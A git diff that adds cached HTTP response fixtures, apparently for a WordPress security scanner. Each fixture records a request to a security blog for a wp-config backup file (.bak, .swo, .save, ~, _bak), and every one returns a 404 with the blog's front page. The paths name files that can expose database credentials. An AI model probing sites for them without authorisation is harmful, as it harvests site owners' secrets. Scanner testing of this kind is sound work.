I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 2.7e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.swo +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:31 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=btbhn2tn1b8n5rsahvjg31crgbbrg1t2; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:30 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d853eee8eb6d57ae6059c1d773a495cc11341821729; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 2.7e-05 +pretransfer_time: 2.5e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.php.swo + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.php.swo + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 1.885056 +status_message: +time: 1.959802 diff --git a/cache/browser/9d27e728fa64564f96f85adaf35f7cbbb2904e04 b/cache/browser/9d27e728fa64564f96f85adaf35f7cbbb2904e04 new file mode 100644 index 00000000..33113cbf --- /dev/null +++ b/cache/browser/9d27e728fa64564f96f85adaf35f7cbbb2904e04 @@ -0,0 +1,310 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 2.9e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Php Bak\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 2.9e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.bak +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:27 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=h7ta2dgci6af79ol49giopm5454f4qsv; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:27 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 2.9e-05 +pretransfer_time: 2.7e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.php.bak + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.php.bak + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 1.049149 +status_message: +time: 1.158358 diff --git a/cache/browser/a7e216f8d6de722e951cc9105236a7a65d60db26 b/cache/browser/a7e216f8d6de722e951cc9105236a7a65d60db26 new file mode 100644 index 00000000..e3ce0b40 --- /dev/null +++ b/cache/browser/a7e216f8d6de722e951cc9105236a7a65d60db26 @@ -0,0 +1,311 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 2.8e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Save\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 2.8e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.save +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:26 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=0fs72im2dr2p2ptbkfnff0j9ncbs1lm2; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:26 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + Content-Encoding: gzip + + +http_version: +mock: false +name_lookup_time: 2.7e-05 +pretransfer_time: 2.6e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.save + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.save + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.701932 +status_message: +time: 0.726919 diff --git a/cache/browser/bf09e1dd1fc374faf202d564332d977927c1ca25 b/cache/browser/bf09e1dd1fc374faf202d564332d977927c1ca25 new file mode 100644 index 00000000..bb243e99 --- /dev/null +++ b/cache/browser/bf09e1dd1fc374faf202d564332d977927c1ca25 @@ -0,0 +1,310 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 3.2e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Php~\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 3.1e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.php~ +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:25 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=5kvmusulv0s0ufhg127copgop8i04sks; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:25 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 3.1e-05 +pretransfer_time: 3.0e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.php~ + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.php~ + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.773069 +status_message: +time: 0.928828 diff --git a/cache/browser/c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a b/cache/browser/c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a new file mode 100644 index 00000000..23c45df1 --- /dev/null +++ b/cache/browser/c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a @@ -0,0 +1,310 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 2.8e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Php_bak\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

